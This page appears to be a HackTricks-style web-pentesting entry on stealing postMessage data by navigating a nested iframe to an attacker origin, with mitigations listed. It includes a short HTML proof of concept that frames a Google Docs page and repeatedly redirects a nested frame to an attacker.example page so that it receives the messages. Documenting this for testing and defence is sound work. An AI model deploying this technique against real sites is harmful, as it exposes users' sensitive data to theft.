// HackTricks · Web Pentesting

Stealing postMessage Data by Navigating an Iframe

Stealing postMessage Data by Navigating an Iframe

Suppose an attacker can frame a page that is not protected by X-Frame-Options or CSP frame-ancestors, and that page contains a nested iframe. Cross-origin scripts cannot read the nested document, but browser cross-origin interfaces expose limited Window and Location access: window.frames can be read and a referenced window’s location can be written.[1]

This behavior can become a data-exposure primitive when the nested document receives sensitive data through postMessage(..., "*"). If the attacker navigates the intended receiving frame to an attacker-controlled origin before the message is sent, the wildcard targetOrigin allows the replacement document to receive the message. Both MDN and OWASP recommend specifying the exact expected origin rather than * whenever possible.[2][3]

The same underlying race can involve a child, parent, or opener window when the attacker retains a window reference and the browser permits that particular cross-origin navigation. The critical conditions are control of the navigation timing and a sender that uses a wildcard or otherwise incorrect targetOrigin.[1][2]

The following proof-of-concept structure is adapted from a Google VRP write-up. Frame indexes and navigation permissions vary with the document tree and browser behavior, so inspect the actual hierarchy rather than copying the indexes blindly.[4]

<!doctype html>
<html lang="en">
  <body>
    <iframe src="https://docs.google.com/document/ID"></iframe>
    <script>
      setTimeout(() => {
        // Retry because the nested frame may be created asynchronously.
        setInterval(() => {
          window.frames[0].frames[0].frames[2].location =
            "https://attacker.example/exploit.html"
        }, 100)
      }, 6000)
    </script>
  </body>
</html>

Mitigation

  • Send sensitive messages only with an exact targetOrigin.
  • On receipt, validate both event.origin and, where appropriate, event.source.
  • Prevent unauthorized framing with CSP frame-ancestors (and X-Frame-Options for legacy compatibility).

References

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.